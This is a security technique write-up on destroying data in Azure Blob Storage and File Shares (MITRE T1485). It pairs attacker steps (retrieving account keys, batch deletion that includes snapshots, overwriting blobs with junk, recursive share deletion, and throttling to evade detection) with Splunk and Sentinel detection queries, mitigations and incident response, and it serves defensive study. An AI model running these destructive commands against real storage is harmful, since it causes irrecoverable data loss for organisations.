MCADDF

[IMPACT-DATA-DESTROY-001]: Data Destruction via Blob Storage

1. METADATA HEADER

Metadata

| Attribute | Details | |—|—| | Technique ID | IMPACT-DATA-DESTROY-001 | | Technique Name | Data Destruction via Blob Storage | | MITRE ATT&CK v18.1 | Data Destruction (T1485) – https://attack.mitre.org/techniques/T1485/ | | Tactic | Impact | | Platforms | Azure Storage (Blob, File), Entra ID, Azure Resource Manager | | Environment | Entra ID / Azure Storage Accounts | | Severity | Critical | | CVE | N/A (abuse of legitimate APIs; may coexist with specific CVEs in access path) | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All Azure Storage account types (GPv1, GPv2, BlobStorage), across all public regions | | Patched In | N/A – mitigated via soft delete, versioning, immutable storage, RBAC and network controls, but core delete operations remain by design.[34][37][43] | | Author | SERVTEP – Artur Pchelnikau |

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2. EXECUTIVE SUMMARY

• Concept: This technique covers malicious deletion and overwriting of data stored in Azure Blob Storage and File Shares. After compromising an identity with sufficient permissions (e.g., Storage Account Contributor or access keys), the adversary issues large‑scale DeleteBlob / DeleteFile operations or overwrites blobs with junk data to render information irrecoverable.[36][42] In cloud ransomware campaigns, this is often combined with encryption or destruction of on‑prem/VM data to maximize business impact and eliminate recovery paths.[19]
• Attack Surface: Azure Storage accounts (Blob containers, file shares), Azure Portal, ARM APIs, Azure CLI/PowerShell, Storage access keys, SAS tokens, and Azure Files mounts.
• Business Impact: Irreversible loss of structured and unstructured data hosted in Azure, including backups, logs, and critical application content. When soft delete, versioning, or immutable storage are disabled or misconfigured, mass deletion can lead to permanent loss of customer data, intellectual property, and evidence required for investigations.[34][37]
• Technical Context: Azure Storage logs all control‑plane delete operations in Storage logs and Azure Activity Logs, and mass deletions can be detected via Sentinel hunting queries and built‑in analytics (e.g., Azure Storage Mass File Deletion analytic rule).[35][44] However, many tenants do not enable or retain these logs by default, and attackers may leverage access keys instead of Entra ID identities, reducing attribution.[19][23]

Operational Risk

• Execution Risk: High – Large‑scale deletions or overwrites in Azure Storage are fast and can impact petabytes of data in minutes. Some recovery is possible if versioning/soft delete/immutable storage are configured, but otherwise impact is effectively permanent.[34][37]
• Stealth: Medium – Individual deletes are noisy only when logging and analytics are tuned; otherwise, attackers may script slow, distributed deletions from multiple IPs to blend with normal activity.[36]
• Reversibility: Variable – If blob versioning and soft delete are enabled with sufficient retention, most destruction can be rolled back. Without them, overwrites and hard deletes are not practically reversible.[34][37][43]

Compliance Mappings

Framework	Control / ID	Description (Failure Mode)
CIS Azure Foundations	CIS AZURE 3.6, 4.4	Lack of diagnostics/metrics and missing soft delete/versioning on storage accounts leads to undetected and unrecoverable blob deletions.
DISA STIG	Azure Storage STIG (logging, backup)	Non‑compliance with logging and backup STIGs for mission‑critical cloud storage.
CISA SCuBA	Data Protection, Logging	Failure to enable immutable storage, soft delete, and comprehensive logging for SaaS/PaaS data stores.
NIST SP 800‑53 Rev.5	CP-9, CP-10, SI-12, AU-12	Weak backup and recovery for cloud data, insufficient audit logging for storage operations, and lack of integrity protections.[39]
GDPR	Art. 5(1)(f), 32	Inability to ensure integrity and availability of personal data stored in Azure, leading to possible supervisory sanctions.
DORA	Art. 11	Inadequate data backup and recovery for critical financial services relying on cloud storage.
NIS2	Art. 21	Non‑implementation of measures to ensure system and network resilience and maintain operations in case of incidents.
ISO 27001:2022	A.8.13, A.5.30	Missing protection of information in cloud services and lack of secure backup.
ISO 27005	Risk Scenario: “Cloud object storage mass deletion”	High‑impact scenario involving loss of long‑term records and backups in cloud object stores.

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3. TECHNICAL PREREQUISITES

• Required Privileges:
  • Storage Account Owner/Contributor or custom role with Microsoft.Storage/storageAccounts/listKeys/action, Microsoft.Storage/storageAccounts/blobServices/containers/delete, Microsoft.Storage/storageAccounts/blobServices/containers/blobs/delete.
  • Alternatively, possession of storage account access keys or Shared Access Signatures (SAS) granting delete permissions.[19][43]
• Required Access:
  • Network access to Storage endpoints (HTTPS) – may be public or restricted via private endpoints.

Supported Versions:

• All Azure Storage account SKUs supporting blob containers and file shares.

• Attacker Tools:
  • Azure CLI (az storage blob delete, az storage container delete).
  • Az PowerShell (Remove-AzStorageBlob).
  • REST API clients / scripts using storage keys or SAS.
• Defender Tools:
  • Azure Monitor & Storage logs – https://learn.microsoft.com/azure/storage/blobs/monitor-blob-storage
  • Microsoft Sentinel (Azure Storage solutions and queries) – https://github.com/Azure/Azure-Sentinel
  • Azure Backup / immutable storage configuration – https://learn.microsoft.com/azure/backup/secure-by-default

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4. ENVIRONMENTAL RECONNAISSANCE

Azure CLI – Enumerate Storage Accounts and Protection Settings

az storage account list -o table

What to Look For:

• High‑value accounts (production RGs, data‑lake accounts).

az storage account show --name <storageAccount> --resource-group <RG> \
  --query "{name:name, kind:kind, enableBlobVersioning:blobServices.defaultServiceVersion, 
           deleteRetentionPolicy:blobServices.deleteRetentionPolicy.enabled}"

What to Look For:

• Storage accounts with no soft delete or no versioning enabled – these are prime destruction targets.[34][47]

Log Reconnaissance – Identify Prior Suspicious Deletes

StorageBlobLogs
| where TimeGenerated > ago(7d)
| where OperationName == "DeleteBlob" and StatusText == "Success"
| summarize Deleted = count() by AccountName, CallerIpAddress, UserAgentHeader
| order by Deleted desc

What to Look For:

• Unusual IPs or user agents performing large numbers of deletes.

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5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Mass Deletion via Azure CLI Using Access Keys

Supported Versions: All Azure Storage account types.

Step 1: Obtain Storage Account Keys

Objective: Use elevated role to retrieve access keys, bypassing Entra ID attribution.

az storage account keys list -g <RG_NAME> -n <STORAGE_ACCOUNT>

Expected Output:

• Primary and secondary keys; attacker typically uses Primary key.

Step 2: Delete All Blobs in Target Containers

Objective: Use keys to authenticate and delete blobs programmatically.

ACCOUNT=<STORAGE_ACCOUNT>
KEY=<PRIMARY_KEY>
CONTAINER=<CONTAINER_NAME>

az storage blob delete-batch \
  --account-name $ACCOUNT \
  --account-key $KEY \
  --source $CONTAINER \
  --delete-snapshots include

Expected Output:

• Summary of deleted blobs; underlying logs record DeleteBlob operations in StorageBlobLogs.[35]

OpSec & Evasion:

• Use secondary key and rotate primary to mask intent.
• Throttle deletions to avoid obvious spikes.

References & Proofs:

• Azure Storage CLI – https://learn.microsoft.com/azure/storage/blobs/storage-quickstart-blobs-cli

METHOD 2 – Overwriting Blobs with Junk Data

Objective: Render data unrecoverable even when some retention settings exist.

az storage blob upload-batch \
  --account-name $ACCOUNT \
  --account-key $KEY \
  --source ./junk-data-folder \
  --destination $CONTAINER \
  --overwrite true

Attackers may upload random data to overwrite existing blob content, then delete prior versions if not protected by immutability.[36]

METHOD 3 – Destruction via Mounted Azure Files

When Azure Files shares are mounted to VMs/on‑prem servers, adversaries can use OS delete operations (e.g., del, rm) against UNC paths or mapped drives – still recorded in StorageFileLogs.

Remove-Item \\storageaccount.file.core.windows.net\share\* -Recurse -Force

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6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

While Atomic Red Team T1485 primarily targets local disks and GCP buckets, similar patterns can be adapted for Azure storage operations.[64][70][67]

• Atomic Test ID: T1485, selected tests (e.g., SDelete, cloud bucket deletion).
• Usage: Execute local destruction tests to verify SIEM detections, then extend logic to StorageBlobLogs/StorageFileLogs.

Example Windows test (SDelete) to validate general T1485 detections:

Invoke-AtomicTest T1485 -TestNumbers 1

Cleanup:

Invoke-AtomicTest T1485 -TestNumbers 1 -Cleanup

Reference: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1485/T1485.md

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7. TOOLS & COMMANDS REFERENCE

Azure Storage Explorer / Portal

GUI tools make it easy to perform bulk deletions; defenders should monitor their usage for privileged accounts.

Azure CLI / Az PowerShell

• az storage blob delete-batch
• az storage container delete
• Remove-AzStorageContainer, Remove-AzStorageBlob

Ensure Role‑Based Access Control and conditional access around their use.

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8. SPLUNK DETECTION RULES

Rule 1: Azure Storage Mass File Deletion (Blob & File)

Reference: Azure Sentinel query Azure Storage Mass File Deletion shows the core pattern.[35]

SPL (adapted):

index=azure sourcetype="azure:storage:blob" OR sourcetype="azure:storage:file"
| where StatusText="Success" AND (OperationName="DeleteBlob" OR OperationName="DeleteFile")
| eval IP=split(CallerIpAddress, ":")[0]
| bin _time span=10m
| stats dc(Uri) as FilesDeleted by _time, IP, UserAgentHeader, AccountName
| where FilesDeleted >= 100

What This Detects:

• IPs or tools deleting ≥100 objects within 10 minutes in a single storage account – highly suspicious outside of controlled maintenance.

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9. MICROSOFT SENTINEL DETECTION

Query 1: Azure Storage Mass File Deletion (Official Analytic)

Reference: AzureStorageMassDeletion.yaml analytic rule for T1485.[35][38]

KQL (core pattern):

let deleteThreshold = 100;
let deleteWindow = 10m;
union StorageFileLogs, StorageBlobLogs
| where StatusText == "Success"
| where OperationName in ("DeleteBlob","DeleteFile")
| extend CallerIpAddress = tostring(split(CallerIpAddress, ":", 0)[0])
| summarize dcount(Uri) by bin(TimeGenerated, deleteWindow), CallerIpAddress, UserAgentHeader, AccountName
| where dcount_Uri >= deleteThreshold

Use this as a scheduled analytics rule with High severity.

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10. WINDOWS EVENT LOG MONITORING

Not applicable – impact occurs on Azure Storage control plane. Monitoring relies on Azure logs, not local OS events.

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11. SYSMON DETECTION PATTERNS

Not applicable for direct blob deletion via APIs. Sysmon becomes relevant only when destruction is performed from endpoints against mounted Azure Files shares; in that case, treat it as generic T1485 on the endpoint.

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12. MICROSOFT DEFENDER FOR CLOUD

• Enable Defender for Storage to detect anomalous access patterns and potential ransomware behaviors against storage accounts.[23][31]
• Defender can flag unusual delete spikes or suspicious tools accessing storage endpoints.

Manual steps: Azure Portal → Microsoft Defender for Cloud → Environment settings → Subscription → Defender plans → Defender for Storage: ON.

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13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

For M365 workloads that sync to Azure Storage or use similar patterns (Dataverse, SharePoint, OneDrive), Purview provides audit signals for mass deletes or suspicious bulk operations.[20][38]

Example Purview search pattern:

Search-UnifiedAuditLog -Operations FileDeleted -StartDate (Get-Date).AddDays(-1) -ResultSize 5000

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14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Action 1: Enable Blob Versioning and Soft Delete Everywhere

• Turn on blob versioning and soft delete for all production storage accounts to ensure recoverability from destructive operations.[34][37][43]

Manual Steps (Portal):

1. Storage Account → Data protection.
2. Enable Blob soft delete, Container soft delete, and Blob versioning.
3. Configure retention (e.g., ≥30 days, preferably ≥90 for critical data).

Action 2: Use Immutable Storage (WORM) for Critical Data

• Configure immutable storage policies (time‑based retention or legal hold) for backup/archival containers.[37]

Action 3: Minimize and Monitor Access Keys & SAS

• Prefer Entra ID–based access.
• Rotate keys regularly; restrict SAS to least privilege and shortest possible lifetime.[19][43]

Priority 2: HIGH

Action: Centralize Logging and Create Mass Deletion Alerts

• Enable diagnostic settings for Storage accounts to send logs to Log Analytics and Sentinel.[47][44]
• Deploy analytic rules for mass deletions (as above).

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15. DETECTION & INCIDENT RESPONSE

IOCs

• Logs: Spikes in DeleteBlob / DeleteFile operations; unusual CallerIpAddress or UserAgentHeader values in Storage logs.[35]
• Accounts: New or rarely used service principals suddenly performing large deletions.

Forensic Artifacts

• StorageBlobLogs/StorageFileLogs: Authoritative source for what was deleted, when, and from where.[36][47]
• Azure Activity Logs: Changes to Storage account configuration (disabling soft delete, changing immutability, rotating keys).

Response Procedures

1. Contain:
   • Revoke compromised access keys; regenerate both primary and secondary keys.
   • Disable or rotate suspicious SAS tokens.
2. Investigate:
   • Use Sentinel queries to identify scope of deletion, affected containers, and caller identity/IP.[35][44]
3. Recover:
   • Restore blobs from versions or soft‑deleted state.
   • For immutable containers, use retention policies to restore to last known good state.[34][37]

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16. RELATED ATTACK CHAIN

Step	Phase	Technique	Description
1	Initial Access	IA-VALID-001	Compromise of cloud admin / storage operator account or CI/CD credentials.
2	Privilege Escalation	PE-VALID-010	Elevation to Storage Account Contributor / Owner or obtaining storage keys via Key Vault abuse.
3	Current Step	[IMPACT-DATA-DESTROY-001] Data Destruction via Blob Storage	Mass deletion and overwriting of blobs and files in Azure Storage.
4	Impact	T1486, T1490	Parallel encryption and inhibition of recovery in linked workloads and backups.

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17. REAL-WORLD EXAMPLES

Example 1: BlackCat/ALPHV Encrypting Azure Storage

• Target: Azure Storage accounts for a large enterprise.
• Timeline: 2024–2025.
• Details: Sophos and Mitiga reported BlackCat/ALPHV using a new encryptor variant to encrypt Azure Storage accounts by leveraging stolen Storage account keys obtained after pivoting from on‑prem to Azure Portal.[19]
• Impact: Encrypted blob data across multiple accounts; complex restoration from backups; increased ransom leverage.

Example 2: Cloud Mass Deletion as Data Destruction

• Target: Various organizations using cloud storage providers.
• Details: MITRE ATT&CK notes that in cloud environments, adversaries may delete storage accounts, machine images, and other infrastructure to damage organizations.[36][39]
• Relevance to Azure: The same pattern applies directly to Azure Storage accounts; without versioning and soft delete, deletions can be unrecoverable.

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